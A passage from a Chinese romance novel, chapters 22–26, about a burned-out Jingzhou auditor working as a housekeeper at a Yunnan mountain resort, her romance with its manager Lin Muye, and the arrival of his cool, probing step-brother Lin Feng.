“跳了好一会儿,终于一个阿哥拿起话筒说道:“今天的舞就跳到这里了,大家和着节拍,跟着最后的节奏,拥抱你身边最爱的人。让我们一起来倒计时放烟花!”
“五!”
人们松开手,和自己一起的家人或朋友面向放烟花方向站立,或相拥或环抱,等待着今晚最浪漫的仪式。
“四!”
沈清就站在林牧野面前,篝火在她身后燃烧,将她的头发映成红色。
“三!”
“林牧野,新年快乐!”沈清向前走了一步,目光沉静地落在林牧野眼中,周围的喧嚣和她的安宁形成鲜明的对比。
“二!”
沈清说完,歪了一下头,露出了那对平时不常见的酒窝。林牧野心跳莫名又有些快,一切都变得不真实。
“一!”
沈清抬眼望了望被篝火照成墨蓝色的天空,开始飘散细小雪花的夜空因雪花的到来一闪一闪。
“林牧野,又下雪了,你……”
雪真的变密了,落在林牧野发烫的脸颊上,冰冰凉凉。也许是苏里玛酒的甜香还萦绕在舌尖的原因,也许根本不是酒精的作用,林牧野走上前,那双大手揽过沈清的腰间,待沈清看完雪花低头时,林牧野吻了上去。
唇上传来温热的触感十分柔软,当沈清反应过来,她瞳孔因为震惊而放大,身体僵硬得不知如何是好。
属于他的气息霸道地侵占了沈清所有的感官。
沈清想发却发不出来声音,呜咽被堵在喉咙里,唇瓣间的纠缠令她意乱情迷。
林牧野的手不知何时扣住了沈清的后颈,他没有强迫的意思,只是希望吻得更深。
沈清膝盖发软,若不是身前有他,整个人几乎要滑落下去。
沈清后知后觉地回应,闭上眼睛,听到了周围人群的欢呼。
漫长的吻终于结束,沈清张开眼,林牧野那双深邃的眼眸近在咫尺,仿佛下一秒他的睫毛就要扫到她的脸颊。
“新年快乐。”
林牧野轻声说。
23. 第 23 章
烟花在两人头顶上空绽开。
巨大的金色花朵绚烂扩散,直到消失不见,又被更大的烟花替代。
林牧野伸手牵起沈清,将红了脸的沈清用入怀中,一起抬头看向天空。
烟花时明时灭,林牧野眼中含笑,唇边还残留着酥麻的余温。
他刚才有点太过用力,不知沈清会不会怪他。
爱是常觉亏欠,即使是忘情发狠的吻。
在烟花仪式最后一串密集的高潮后,天空恢复了平静与昏暗。
两人谁都没有说话,只有雪花簌簌地落在肩头。
林牧野咬了下嘴唇,盯着一片雪降落,终于开口:“明年春节,你也会在黎乡的,对吗?”
沈清听到这句话,深吸了一口气。
她想让冰冷的空气给自己发烫的脑袋降降温。
明年......
沈清给自己约定的GAP日期只有一年,明年此时,她应该已经回到京州,继续在钢筋水泥里对着电脑奋斗。
刚才的吻让沈清心烦意乱,她多想扑进林牧野的怀中,再也不放开。
可是,还有父母、还有世俗意义上的“相匹配”的职业生涯,还有......
林牧野依旧站在那里,等着她的回答。落雪纷纷扬扬,将他挺拔的身影罩的有些模糊。
“也许吧......”沈清不忍骗他,只得给出个如此模糊的回答。
沈清眼中有晶莹在闪烁,她没有看林牧野,只是拉着他往车的方向走去。
沈清说:“回家吧,很晚了。”
林牧野没有等到心中想要的答案,拉过沈清,将她按在车侧:“既然你说是家,为何不永远留在这里?”
沈清手臂被拉的生疼,她眉头皱起,却仍是不看林牧野,低头将手机掏出解锁,把通话界面给他看。
7个未接来电,一个是父亲的,六个是母亲的。
“你知道的,我很喜欢这里,但是我不能留下。”
林牧野说不出话,用手重力拍了下车门。
回去的路上,两人一路无言。
坐在副驾的沈清翻阅着微信朋友圈,看着别人阖家欢乐的照片,轻轻地叹了口气。
她犹豫了片刻,将刚才在云万宝家拍的年夜饭的图片发到了名为“一家三口”的群里,附上一句话:我在当地老乡家里过的年,不用挂念。
林牧野打开了广播,熟悉的音乐传出来,是林忆莲的《至少还有你》。
“我怕来不及,我要抱着你。”
林牧野看着窗外静谧的黑,终于开口:“你至少可以留到营收项目落地再走,对吗?”
沈清这次很快地点头,没有犹豫。
-
过年前几天的黎乡游客突增,酒店都爆满,很多旅客到了地方才找住处,各种各样的临时需求让前厅超负荷运转。
林牧野基本上一直在前台帮忙,他喜欢直面客户。
有时候,他站在那里,就能让原本被客户搞得焦头烂额的员工有了定海神针般放心。
他说话声音不高,但是当他低头耐心和客人沟通,再心浮气躁的刺头也能被安抚的满意离去。
在员工通道,林牧野端着咖啡和沈清匆匆擦肩而过。交错的刹那,他微微侧身避让,她低声道了句“林总”。他想说句“注意休息”,却终是没能说出口,只得看着她匆匆离去的背影。
正月十五,游客住店高峰期总算过去,徒栖迎来了喘口气的日子。
门口那只中华田园犬“柴柴”,正懒洋洋趴在自己的木屋窝前,晒着久违的阳光,尾巴偶尔因有人路过而摇晃几下。
突然,由远及近的引擎轰鸣声打破了这片山野清晨的宁静。
车轮扬起尘土,刹停在徒栖大门口。这声响在山上很少听见,云万宝急忙出来查看。
林峰从雾霾蓝色欧陆GT上下来,他脚踩一双意大利手工皮鞋,身穿黑色羊绒大衣,金丝边眼镜后的目光考究地扫过眼前这座依山而建的度假酒店。
副驾的欧阳致诚同样衣着精致,手里拿着电脑包和公文包,快步跟上。
云万宝看到那辆与周遭环境极不协调的豪车,愣了一下,随即挂上职业笑容上前接待:“先生您好,欢迎来到徒栖。这里是客人的步行区域,车辆需要停到那边的停车场……”
林峰随手将车钥匙朝云万宝的方向一抛,云万宝条件反射地接住,一脸懵。
林峰目光掠过云万宝,上前两步,开始细细研究起徒栖的大门。
林峰见云万宝站着没动,提示他道:“泊一下车。”
云万宝手中拿着沉甸甸的精致“B”字徽标的车钥匙,脸一下子涨红了:“先生,这车......我不敢开......”
欧阳致诚上前一步,语气礼貌却疏离:“简单的停车操作而已,这是酒店接待员应该具备基本业务。”
林峰这才将视线稍稍分给云万宝一点,眼神里掠过一丝淡淡的不爽。
云万宝握着烫手山芋般的钥匙,骑虎难下,只得拿出对讲机,转过身偷偷给林牧野打报告:“林总,来了两个开豪车的客人让我帮忙泊车,但是我不敢开。你能来一下吗?”
林峰目光挑剔地端详起酒店门前这一块儿,转头对身后的欧阳致诚说:“你不觉得这个门头非常不大气吗?难以匹配奢华酒店的定位。”
欧阳致诚点点头,掏出外兜的长条形笔记本,记下了些什么。
林峰向前继续走,看到“柴柴”后,表情更不好看:“你有见过哪家酒店配有看门狗的吗?”
欧阳致诚思考了一下,鉴定地摇摇头,又在本上记下一笔。
林峰踱步到厨房方向,看着厨房外露天的老式灶火台,摇了摇头,欧阳致诚心领神会地又在本上刷刷写。
“这种做饭方式效率低下,还存在安全隐患,油烟处理也是问题。”他顿了顿,似乎在寻找合适的话语描述,最终吐出两个字,“掉价。”
说话的当下,林牧野从楼梯快步走下来。他因连续多日应对春节高峰而略显疲惫,整个人虽多了几分憔悴,但脊背依旧挺得笔直。
他一眼就认出了眼前这个与周遭环境格格不入的身影。
是他异父异母的哥哥。
这种介绍方式,谁听了都会觉得荒诞。
可这样的事情,就是这么真实的发生在林牧野家,发生在环亚集团。
林牧野虽惊讶林峰到来的如此突然,但他很快收敛起情绪,快步上前:“哥,您来了。”<
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p>林峰转过身。他比林牧野略高一点,因为穿着和姿态,显得更为冷峻而矜贵。他上下打量了林牧野一眼,目光在他带着倦色的面庞停留了一瞬,嘴角似乎极轻微地勾了勾。
“想必你也接到通知了,集团的决定,我来这边学习观摩一段时间,协助徒栖做好融资前配合银行背景调研的准备。”林峰抬手指了指周围,“刚初步看了一下,硬件和视觉呈现上,距离真正的‘高端度假’还有很大差距。”
同一时间,沈清还在按部就班地整理着房间。连日的劳累让她睡眠不足,她困意逐渐上头,打了个哈欠,坐在地上趴在床脚,想让沉沉的头休息一下。
“沈清姐!不好啦!”卓玛突然跑着从走廊奔来,看到房间里的沈清,惯性刹不住车,差点跑过。
沈清猛地一睁眼,双手支撑着床站起来。
她见卓玛特别着急,用手背轻抚着:“慌什么,慢慢说。”
“沈清姐,三楼套房我早上打理过了,可是刚我突然想起来,其中有一个羽绒枕的枕头跑线了,有点跑毛。我现在还有8个房间要打扫,你能帮我去换个枕头吗?”
沈清抬手看了下时间,点点头,拍拍卓玛:“我还以为多大的事儿呢,没问题。”
徒栖的套房每一层最东翼都有一间,拥有最好的观赏雪山的视野。
沈清在工作间拿上新的羽绒枕,快步走到三楼套房。
她先在门口站定,按照酒店的要求轻敲三下,并大声朝内告知:“你好,客房服务。”
在确认房间内没有人后,她拿起备用卡,刷开房门走了进去。
套房拥有独特的香薰气味,每次布草的时候,酒店特制的香薰包需要摆在衣柜最下面一格,是沈清喜欢的味道。
她先是习惯性地开窗通风,突然又意识到自己不是在布草,吐了下舌头又把窗户关上。
她看着窗外顶级的雪山景观,由衷地发出感叹:“玉龙雪山,你可真是太美了!”
灰色的山体顶端布满白雪,巍峨矗立,层峦叠嶂。湛蓝的天空被阳光照耀的特别澄澈,没有一丝杂质。
沈清转过身,走到床前,仔细查看每一个枕头。她找到了那只跑线的羽绒枕,这种顶级羽绒枕芯异常蓬松柔软,却也格外“顽皮”。她需要用技巧才能将其掏出并快速装入枕套。
一套流利的招式,跑线的羽绒枕被拿出,新的羽绒枕被装入。
她全神贯注,全然没有注意到开着门的房间已经进来了一个人。
阔步走进套房的林峰看着敞开的大门,再三确认了下手中木秀刚刚给他的房卡。当他发现自己没有走错,便寻着声音往卧室走来。
沈清拿起跑线的羽绒枕,转身就要回去。当她突然看到一身黑衣的林峰站在面前,吓得一惊,手里的枕头因她抬起的胳膊抛物线一甩漫天的羽绒从缺口洒出。
洁白的鹅绒轻盈地飘在空中,顷刻间充盈了整个房间。
它们肆意旋转、徐徐降落,漫天的飞羽如雪,亦梦亦幻。
而这中间婷婷站着的沈清,因惊讶而眨了眨圆杏般的眼睛后,就这么安静的站着,目光直视林峰。
他见过无数精雕细琢的名媛淑女,但从未有一个女孩儿的出现,如此冲击着他的视觉,乃至心神。
24. 第 24 章
时间像羽毛的降落,流逝得极其缓慢。
林峰愣了下神,但眼中很快又恢复了以往的凌厉。
“林先生?”沈清先认出了他。
林峰微微皱眉,眼前穿着酒店制服女子的样貌和回忆重合。
随即,他恍然:“沈小姐。”
待所有羽毛落定,沈清才回过神来,慌忙开始收拾:“对不起林先生,我马上处理好。”
这时,掂着三个大行李箱的欧阳致诚走进屋子,看到一地羽毛,惊讶道:“发生什么事情啦?你是怎么搞的?”
林峰抬手示意欧阳,欧阳便不再说话。
“对不起,羽绒枕跑线,我只是来更换一下,不知道您要入住这间房。请等我两分钟,我马上处理好。”
沈清快步走出房间,从门口的工作车上拿出便携扫帚,在对讲机里给陈春梅汇报:“陈经理,三楼套房需要大型吸尘器,客人在等待,请马上支援一下,谢谢。”
沈清拿着扫帚,尽可能的把所有羽毛归拢,但羽毛太轻,有时一个不注意,羽毛会再次飞起。
林峰坐在沙发看着窗外的景色,突然开口:“还好是我,如果是其他重要客人入住套房,会让对方对我们酒店的专业性持怀疑态度的。”
沈清低头道歉:“对不起。”
终于,陈春梅拿着吸尘机来救场,一番清理后,两人面对林峰,鞠躬退出了房间。
回到工作间,卓玛早已在那里等候多时。她见到沈清,立马双手合十请罪:“沈清姐对不起!我没想到会这样!”
沈清摆摆手,并不在意:“没事,碰巧了而已。”
卓玛转头着急的问陈春梅:“春梅婶,为啥林总突然来徒栖?为啥他不住宿舍,要像客人一样住客房?”
陈春梅见怪不怪:“林总那种层次的人,估计住不惯宿舍,人家从小在美国长大,跟我们这里的管理层的思想总会有些不一样吧。”
卓玛有点明白了,嘟嘴思考:“怪不得他看上去特别有腔调。”
沈清问陈春梅:“陈经理,林总来这里是要干什么?巡店吗?待多久?”
陈春梅也很犯愁:“不知道,我看林总也是刚知道的样子。”
卓玛揉了下手里的床单,意志消沉:“如果他待很久,我们日子肯定不好过。”
沈清把她手里的床单拿过来,重新叠好:“那我们就认真工作,不要被他抓把柄就好啦!”
-
徒栖餐厅的包房里,精致的餐具被摆放整齐,林峰和林牧野相对而坐,两人之间还坐着一个欧阳。
林牧野眼含真诚地看着林峰:“哥,你突然大驾光临,我都没有迎接,要是您说一声,我们能提前安排一下就更好了。”
林峰听闻,垂眼端起桌上的陶杯,品了口茶:
“我只是来自己家酒店,没什么迎不迎接的。这话,见外了。”
“毕竟您是第一次来,我对这里熟悉,来的路上我可以安排,避免您走弯路。”
“我最大的优点就是适应能力强。这点,你应该知道的。”
林牧野不再多说什么,站起身给林峰又把茶添满了。
“哥,这些都是当地比较有特色的菜,那您赶快吃吧,我就不打扰了。”说完,林牧野向林峰微微鞠躬,就向门外走去。
就在林牧野开门的刹那,林峰的声音从他身后幽幽飘来:“在工作的场合,还是叫我的职位比较好。”
林牧野没有回头,回答:“好的,林总。”
林牧野又踏出一脚,林峰再次说话:“还有,我的房间,以后都由沈清来打扫。”
听到这里,林牧野握着门把手的手紧了紧,然后继续回答:“好的,林总。”
然后,他快步走出了包房。
欧阳看着满桌的菜,对林峰说:“点了这么多,我们两个人吃不完吧?”
林峰又拿起餐具碗筷细细查看:“你不懂吗,这是在进行地主之位的告知,让我们知道自己是客人。”说完讥笑着摇了摇头。
欧阳见林峰动筷,自己也开始夹菜。
“嗯!味道还真不错!”欧阳尝了几个菜,猛点头赞许。
“对了林总,您刚才说的沈清是谁啊?”
“就是今天在房间打扫的房务员。”
“您认识她?不然,怎么......”欧阳筷子含在嘴里,有点不解。
“不算认识。”林峰吃起饭来也文质彬彬,不疾不徐,“不过......”
欧阳被他的停顿引得更加好奇。
林峰细细咀嚼了几口菜,说道:“倒是想认识认识。”
-
沈清自除夕夜后,还没有机会和林牧野独处。
她对于那个吻的记忆逐渐模糊,甚至有时候会怀疑那晚的吻是不是真实发生过,还是只是自己做了一场梦而已。
她想了一圈,发现自己喜欢一个人的心情竟然无人诉说。
这晚,回到宿舍的沈清感觉自除夕后父母就没有什么动静,便给母亲打了个电话。
她坐在床边,看着自己房间桌上放的咖色陶制水杯,边打电话边把玩。
电话过了好一会儿才被接起,听筒里母亲像是在公共场所,背景音嘈杂。
“妈,十五了,今天吃汤圆了吗?”
母亲像是在走路,微微喘息:“还没,一会儿回家就煮。你呢?”
父母一般没有夜生活,沈清觉得奇怪,连忙追问:“你们现在还没回家吗?”
这时,听筒里有别人在说话:“扫那个码取药。”
沈清突然警觉起来:“你在医院?怎么了?谁生病了?”
对面母亲倒是淡定:“没什么,你爸还是高血压老毛病,眼睛充血,来看看开点药。”
沈清突然心生愧疚,想着如果自己在老人身边,起码可以不让老人自己在医院和家奔波。且母亲不会开车,父亲高血压一犯病肯定也不能开,两个人还要打车,甚是麻烦。
“对不起,妈。我不在家,你还要照顾爸。”沈清攥在手里的水杯磕在木桌上,发出声响。
“你调整好了,散心散够了就回来吧。”
“妈,我在这里......”
“先不说了啊,我要用手机扫码,有空再打电话给你,挂了。”
然后就是闷闷的忙音声。
许久,沈清才对着已经挂断的电话说:
“妈,我在这里遇到了喜
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欢的人,我可以爱他吗?我能留下吗......”
沈清迷惘地看着窗外,手中的陶杯不小心沿着桌子滚落到地上,“啪”的一声,摔碎了。
这一声,在山中寂静的夜晚显得格外清晰。
沈清连忙下床,想要去处理地上的碎片。
这只杯子是她在古镇淘来的手工杯,因杯壁上有一道自然的窑变纹路,像玉龙雪山的轮廓而买下。
她觉得很可惜,纹路生成随机,不知能不能再找到这样的杯子了。
同一时间,敲门声响起。
沈清拉开门,林牧野站在门外。
他似是刚洗过澡,发梢还湿湿的,和沈清第一次见他时候相差无几。
但细看的话,林牧野比那时候多了几分清瘦和憔悴。
“什么摔了?”
林牧野关心地朝内查看。当他看到一地碎陶时,赶快跨进门内,紧张地拿起沈清的双手查看她是否受伤。
确认沈清没事后,他才松弛下来,扶着沈清的肩膀让她挪开身体,进来开始收拾。
“你不要捡,我去拿扫帚。”沈清拉他。
林牧野也顺势拉着她的手,温柔地说:“你别动,我去。”
沈清知道林牧野比她累多了,可他在她面前一点也没表现出不耐烦或者埋怨,而是亲力亲为地帮她处理。
等林牧野清理完,沈清怕他就这么又走了,下意识地说:“林牧野,我没有喝水杯子了。”
她的语气,就像自己失去了什么挚爱之物。
“我给你买。”林牧野好似在哄孩子,眼底泛出笑意,摸了摸沈清的头。
“你给我买......你跟我......是什么关系?”沈清几乎脱口而出,说出了这几天一直想问的这句话。
问题抛出来,像一颗石子投入深潭。
沉默许久。
久到沈清以为等不到答案了,久到她后悔开口。
“我们什么关系,取决于你。”
他眼底的笑意散去,取而代之的是认真,和一种隐忍的克制。
“沈清。”他叫他的名字,因为很久没有听到自己的名字从她嘴里唤出,甚至有些陌生,“我喜欢你,你知道。但你的未来有没有我,上次已给了答案。”
沈清慢慢蹲下身,把脸埋进膝盖里。
她开始啜泣。
她有一种深深的无力感,这感觉将她罩住,和谁都相距好远。
“我喜欢你。”
“我喜欢你,林牧野。”
“我喜欢你......”
第三次说出喜欢的时候,林牧野把她抱了起来。
他托起沈清的脸庞,吻上他用泪水浸润的唇瓣,将她身体揉进自己的身体里。
林牧野将她吻得透不过气,他把身后的门带上,抱着沈清坠入有她独特身体香气的床。
沈清双手揽着林牧野的脖颈,不再流泪。取而代之的是对他更强烈的回应,在亲吻的间隙还在喃喃地说:“我喜欢你......”
随即,她感受到充实。刚才的无助感和无力感渐渐消失,她的身心一点点被填满。
不管未来怎样,沈清当下只想要属于林牧野。
25. 第 25 章
沈清依偎在林牧野怀中,眯起眼睛,享受着他胸膛的温暖。
林牧野把沈清的手握在自己手心,摩挲着她的手心。
“你的事业线很长,是会上班到老那种。”
“你意思是说,我是劳苦命吗?”沈清抽出手,轻打了林牧野一下。
“那你让我看看你的手。”沈清拿起林牧野宽大的手掌。指尖从生命线的根部开始一直向下画。
“林牧野,你的生命线......”沈清的指尖轻触林牧野生命线的末端,因惊讶而匆忙收起手。
林牧野对此却不以为意。他垂眸看着自己的手掌心,像是问沈清,又像是喃喃自语:“你相信手相吗?”
“我当然不信了,那都是迷信,完全没有一点科学依据。”沈清为了弥补自己带来的尴尬,斩钉截铁地说。
林牧野温柔地笑了,像看孩子似的揉了揉沈清的头发。
“沈清,我想好了,无论你是走是留,我们享受当下就好。你觉得呢?”
沈清听完这句话,眼睛突然亮亮的:“你说得对。”
“如果你还要回到职场,希望你在徒栖能够成长,这样的话,再遇到坏人就知道如何应对,而不是逃避了。”
沈清抱着林牧野,由衷地感叹了句:“再也不会遇到比徒栖员工更好的同事了,徒栖像个大家庭,每个人都很好......”
林牧野继续叮嘱她:“你要记得,改变不了别人,就改变自己的心态。不要用别人的错误惩罚自己。”
“知道了。”沈清皱了皱鼻子,“你怎么说话这么像我老爸!”
“那爸爸明天给你买杯子。”林牧野想了一下,将沈清更紧地裹在怀里,“我们买情侣杯。”
-
林牧野第二天趁午饭时间和沈清去了趟古镇,有一家可以手工制作瓦猫陶瓷的店,两人可以买杯子,还可以谈谈营收项目合作。
小店的老板是景德镇陶瓷大学毕业的大学生,二十几岁的小姑娘。做的东西精致又符合当代年轻人审美,在社交媒体上已经积累上万粉丝,还跟当地街道联合开办了陶瓷产品制作技能培训班。
她们家除了最传统的黑陶瓦猫,还有陶瓷风铃、瓦猫财神摆件、瓦猫咖啡杯等,如果在徒栖的客人可以亲身体验制陶烧窑的乐趣,对酒店也是一个有力的宣传途径。
两人刚走到古镇商业街“顺物”的店门前,沈清就被门口摆满的大大小小摆件吸引过去了。
林牧野手机有来电,他让沈清先在店里转转,自己走到店外安静的转角处,按下了接听键。
“牧野,是阿姨啊,新年快乐!你托人送来的东西都收到了,真是让你破费了!”
电话那头是一位中年妇女,能听出来对方有些小小的激动,声音微微发颤。
林牧野手捧电话,语气里满是关怀:“阿姨!过年好,我过年在黎乡,回不去看您,只好聊表心意。”
“什么时候回京州了跟阿姨说,阿姨给你做好吃的啊!也只有你还年年挂念着我和老头子了。”
“阿姨别这么说,唐瀚既然信任我,把你们托付给我,我就一定要做到对得起他。”
“牧野啊,他的忌日也临近了,我们老两口到时候还飞过去帮他去寺里祈祷,好吗?”
“好的阿姨,我在这里等你们。”
沈清逛到店门外看风铃时候,隐约听见了几句。她不知道电话对面是谁,但她能感觉得对方一定是林牧野非常尊敬和爱戴的长辈。
她发现这通电话打完,林牧野的心情没有刚才那么轻盈了。
林牧野挂了电话,双手插进裤子口袋,看着街道尽头威严矗立的玉龙雪山,站了好一会儿。
直到他晃过神,回头才发现了蹲在瓦猫咖啡杯架子前的沈清。
沈清还在研究门口架子上形态各异的瓦猫。那些瓦猫颜色和外形不同,但都张着大嘴呲着牙,看上去又萌又凶。
林牧野站在她身后半步的距离,看她歪着头,一缕碎发从耳后滑落,随风摇曳,再被沈清用手挽回耳后。
林牧野望得出神。直到沈清拿了一个黑黑的瓦猫转头给林牧野看,他才露出笑容。
“林牧野,你看这只像不像你,故作威严,板着脸装凶。”
沈清把瓦猫举起,摆在林牧野脸旁,眯着眼睛作对比。
林牧野仍是保持双手插袋的姿势,低头看地,淡淡地笑。
这时,穿着店名围裙的店主迎了出来,给两人打招呼:“是之前电话预约的林先生吗?”
林牧野上前几部,伸出手和店主握手,并将自己的名片递给了对方。
店主带两人进店,边走边讲解制作手办的流程和所需用料工具。店里还有别的客人在做瓦猫,其他的店员在旁边悉心指教,他们手中的半成品已然颇具雏形。
两人被安排在靠里的拉胚机前,围上围裙后,拿起各自面前放的揉好的陶泥,学着店长的手法体验一个杯子的诞生过程。
杯子初步成型后,需要在外表面进行装饰。店长拿来刻刀小刷子和釉料,让两人自由发货创意。
沈清低头看自己面前的杯子,想了想,拿起刻刀比着手机里自己拍的一张玉龙雪山的照片,刻了一道简洁却传神的线条。
那是山峦的形状,中间那座最高,是沈清每日从徒栖望去看到的玉龙雪山的样子。
“怎么样?像不像玉龙雪山?”沈清自豪地展示着自己的创作。
林牧野抬眸,看着她近在咫尺的眼睛,点头认可,把自己的杯子胚也递给她:“我也要一个一样的。”
两人将杯子装饰完成,店长在杯子上贴上标签,说等烧好了会同时林牧野。
走出店门时,古镇的商业街更加热闹了。林牧野牵起沈清的手,两人慢慢向停车场走去。
“林总,我们上班时候跑出来,还在大街上手牵手,是不是有点嚣张?”沈清极力想逗林牧野开心。
“我们在办公家的事,只是......”林牧野低头看了看两人牵着的手,“只是掺杂了一些个人情绪。”
林牧野的话反而把沈清逗笑了。她看林牧野开心起来,便牵着的手握的更紧,甩起胳膊来也甩的老高。
两人回到徒栖后,恰巧遇到在前院巡店的林峰。
欧阳站在他身侧,两人正在看一份文件。
林牧野和沈清是一前一后进入徒栖的
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,林峰的目光先后在两人身上停留,意味不明。
林牧野自然也是看到了林峰,他迎面向林峰走来,自然地加入两人对话。
沈清看着两人,虽明知不该这样,却在心里将两人比较起来。
林牧野的皮肤是浅浅的麦色,面部线条更加柔和,眼睛深邃而沉静,给人感觉可靠而又踏实。
林峰周身散发着疏离的气质,即使不动声色,也有无形的压力扩散,让人不由自主地斟酌自己的每一个动作和每一句话。他常戴着眼镜,仿佛那层玻璃就是想要把对方看清,却也把对方隔离开距离。
如果他们不是异父异母的兄弟,会不会成为很合拍的合作伙伴呢?沈清这么想着,匆匆离开,开始了下午的工作。
昨天库房新到一批布草,陈春梅说有些床品清洗不达标,因此让沈清负责检查和反馈工作。
沈清刚检查了一半,对讲机里前台的木秀呼叫沈清,说三楼套房需要客房服务。
沈清应了一声,放下手里的活,推着工作车上了楼。
她站在套房门口,深吸了一口气,标准地敲门三声。
林峰打开门,把门用身体撑住,手向屋内一挥,说了声:“请进。”
沈清从他和墙壁之间狭窄的过道走过,因距离过近,还问到了林峰身上淡淡的香草酊香气。
屋内如同打扫过后一样整洁,只是靠窗的桌子上摆了咖啡和打开着的电脑。
他在她身后开口:“沈小姐,麻烦你了。”
沈清转身微微鞠躬:“应该的,林总。”
林峰将门敞开并固定好,走到窗前的书桌坐下,继续在电脑上处理邮件。
他面对着整个屋子,就是说无论沈清走到哪里,他抬眼即可看到。
沈清按照流程补充备品,更换床品和清理打扫。她工作时候面无表情,认真专注,并不会在意林峰这边。
沈清的最后一项工作是检查和更新迷你吧,而迷你吧在林峰桌边立着的柜子里。
屏幕的冷光映在林峰的脸上,他修长的手指在键盘上敲击,偶尔右手手腕的金表会磕到桌面,发出清冷的撞击声。
沈清走到林峰左侧,离林峰仅一步距离。她打开迷你吧,清点里面的库存。
林峰依旧盯着屏幕,只是偶尔停顿,似乎在斟酌回复邮件的用词。沈清的腰距离他架在桌上的手臂近在咫尺。
迷你吧里的东西几乎没动,只是苏打水被喝掉了一瓶,瓶子还在林峰的书桌上。
沈清转身回去准备拿新的苏打水补充,就在此时,林峰桌上的空瓶被他胳膊的移动而打翻在地。
林峰侧身看了眼,边说“抱歉”边要伸手去拾。
沈清没有看他,也条件反射般蹲下身去捡,站起时因狭窄的空间,林峰正面对着沈清的身体。
她的脸猛地红了。
林峰推了下眼镜,装作无事发生,转回去继续着手里的工作,只是两腿之间叉的更开了。
沈清小心地将苏打水摆好,克制着呼吸的频率,终于关上柜门,准备推车离开。
林峰的声音忽然响起:
“沈小姐,京州的审计师来黎乡铺床,是何原因?”
26. 第 26 章
沈清站定愣了一下,回过头惊讶地回答:“您......是在说我吗?”
林峰身体向后一靠,继续追问:“你和林牧野之前就认识?你为了他来这里?”
他眼中充满笃定,仿佛要的不是回答,而是沈清被说中的反应。
“没有,林总,我和小林总之前不认识。”
“哦,真的吗?”
“我是在环星集团官网看到徒栖招聘,投的简历进来的。”
“是这样啊。”林峰双臂环抱,探究的眼神多了份不明意味,“那你和林牧野现在是什么关系?”
沈清的目光看着林峰,又看向林峰身后窗外的玉龙雪山。山峰巍峨矗立,雪白的山顶反着圣洁的光。
什么关系......
这个问题也是沈清最想问林牧野的问题,沈清也非常想知道这个问题的答案。
“林总,我可以不回答吗?”沈清抓着推车的手紧了紧。
就在此时,沈清身后开着的门前出现一道熟悉的身影。
“她是我女朋友。”
沈清听到熟悉的声音在身后响起,虽没有回头,但这感觉已经让她安心不少。
而比安心更多的,是欣喜。女朋友三个字从林牧野口中说出,让她心跳漏了一拍。
林牧野向前走了几步,来到沈清身后:“林总,她成为我女朋友,也就是这两天才发生的。我们并没有因此影响酒店的工作。如果您觉得有任何不妥,请和我直接沟通。”
林牧野眼神坚毅,身体紧绷如弦。
而对面的林峰听完林牧野的回答,调整坐姿,双手交叉放在书桌上,姿态闲适,轻笑了一声:“我只是为了拉进和员工的关系,是你多虑了。”
林牧野的一只手稳稳地搭在沈清的肩膀:“还有其他工作等着沈清处理,那就让她先出去吧。”
沈清转头看向林牧野,他们站的很近,近到她能闻到林牧野身上的香水气息。
林牧野对她微笑着点点头,示意她可以安全离开。
沈清向林峰微微颔首,推着工作车离开了房间。
“眼光不错。”林峰站起身,背对林牧野,向着窗外伸了个懒腰。
林牧野没有说话。
林峰转回身,理了理袖口和领带,从容且不经意地补了一句:“父亲知道吗?”
“这种事情,还没到需要专门向他交代的地步吧。”林牧野表现出无所谓,立马回答。
林峰见自己对林牧野形成不了什么压力,便话锋一转:“关于银行融资的用途方案,你完善好了吗?”
“前期调研工作基本完成,如果需要,我们可以用几天时间总结一下,给您先来个汇报。”
“那你尽快安排吧。”林峰垂眼,不再看林牧野。
“好的林总。那我先出去了。”说完,林牧野退出房间,帮林峰关上了房间门。
沈清继续打理客人退房的房间,这种只需要体力甚至肌肉已经有机械记忆的活儿干起来反而能忘记刚才发生的不快。
林牧野找到她时,沈清正在铺床单。她把新的床单向床尾一抖,当白色的床单徐徐落下,林牧野帮忙捏起两角,两人合力一拽就铺平了。
沈清看着林牧野,眼睛里透露着“你哥怎么这样一个人”的疑惑和不解。
“抱歉,让你卷进我和他的拉扯之中。”林牧野避开视线,蹲下,将床单边角掖进床垫。
沈清张了张嘴,手里动作也没停,最后只是说了句:“很无聊也很幼稚。”
林牧野帮她递过来枕套:“那我们让他把重点关注在工作上,展现我们的专业好吗?”
沈清接过枕套,熟练地将枕芯替换:“什么意思?”
“这两天我们把营收项目方案起草一下,准备好了给他汇报。”
“我?给他?”沈清一脸不可置信,“做方案可以,汇报再找人吧。”说完,沈清走到工作车前,准备换下一个房间清扫。
林牧野往侧面跨一步,挡住了工作车的去路:“我已经告知他你是我的女朋友了,她不会对你怎么样的。有我在,你放心。”
沈清握着工作车的手紧了紧:“我只是觉得离他越远越好。”
林牧野牵起沈清的手,认真地看着她的眼睛:“我总是告诫自己,工作的时候不要总是找你,和你说话或者共处都会让我分心,可......你也知道,不去想你怎么可能做到,光是和你共处徒栖都会让我幸福。”
沈清听完,终于抬眼迎上了林牧野的炙热的目光。
林牧野继续说,坚定又温柔:“既然我们都不可避免地要接触,那就好好工作,也好好享受在一起的时间,把工作做好了谁还敢说你我什么。”
沈清抿抿嘴,没有说话。
“等我们营收项目有进展了,我们回京州一趟。”
沈清张大了眼睛:“干嘛去?”
林牧野突然坏笑一下:“见父母。”
沈清难以相信:“你带我见你的父母?”
林牧野转身往外走,背对着沈清挥了挥手:“还有带我见你父母。”
沈清推着工作车追出来:“那方案有些资料在你手机里,记得发给我!”
林牧野仍是不回头地在走廊走着,比了个OK,转身消失在转角。
-
夜幕降临后,沈清在宿舍开始用笔记本电脑做起了PPT。
她边做边在心里不爽:白天干完体力活,晚上还要加班干脑力活,工资怎么算还没说清楚呢!
突然口渴,想要拿杯子时候才想起来老杯子已摔坏,新杯子还没烧好。
沈清打开电脑上的微信,本想问林牧野要资料,突然想起白天的对话,又打开母亲的微信对话框。
沈清:「妈,最近怎么样?我爸上次的病后来又犯了吗?」
等了一会儿,母亲没有回复。倒是林牧野发来一条消息。沈清点开查看,是PPT格式的文件,题目就是《徒栖拟新增营收项目调研汇报》。
沈清歪了下头,点开接收。文件很大,下载还费了好一会儿时间。
等她打开PPT,上下滚动鼠标滑轮后,露出了久违的笑容。
林牧野已经帮她找好了集团模板,列好了汇报提纲,林牧野手机拍的照片也已经传好,被放在了相应的位置。
对于沈清来说,她的工作量已经所剩无几。
沈清不禁在想,林牧野平日上班那么忙碌,不知道是什么时候抽空做了这一切呢?
她点开微信,回复:「你是什么时候做的?」
林牧野:「每次想你的时候就
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做一点。」
沈清:「......」
